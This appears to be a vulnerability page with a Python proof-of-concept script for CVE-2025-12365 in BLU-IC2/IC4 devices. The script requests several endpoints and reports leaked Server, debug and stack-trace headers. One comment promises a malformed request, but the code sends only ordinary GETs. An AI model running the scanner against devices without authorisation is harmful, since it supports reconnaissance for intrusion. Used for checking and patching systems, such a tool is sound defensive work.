CVE-2025-12365 BLU-IC2/IC4 HTTP头信息泄露漏洞

import requests import sys def test_cve_2025_12365(target_url): """ PoC for CVE-2025-12365: Information Disclosure via HTTP Header Error Messages Tests for information leakage in BLU-IC2/IC4 devices """ endpoints = [ "/", "/nonexistent", "/admin", "/config", "/api/v1/invalid" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-12365 - HTTP Header Information Disclosure\n") for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint # Send malformed request to trigger error response = requests.get(url, timeout=10) print(f"[+] Endpoint: {endpoint}") print(f" Status Code: {response.status_code}") # Check for sensitive information in headers sensitive_headers = ['Server', 'X-Error', 'X-Debug', 'X-Stack-Trace'] found_sensitive = False for header in sensitive_headers: if header in response.headers: print(f" [!] Found sensitive header: {header}") print(f" Value: {response.headers[header]}") found_sensitive = True if found_sensitive: print(f" [VULNERABLE] Information disclosure detected!") else: print(f" [OK] No obvious information disclosure") print() except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}\n") print("[*] Scan complete") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) test_cve_2025_12365(sys.argv[1])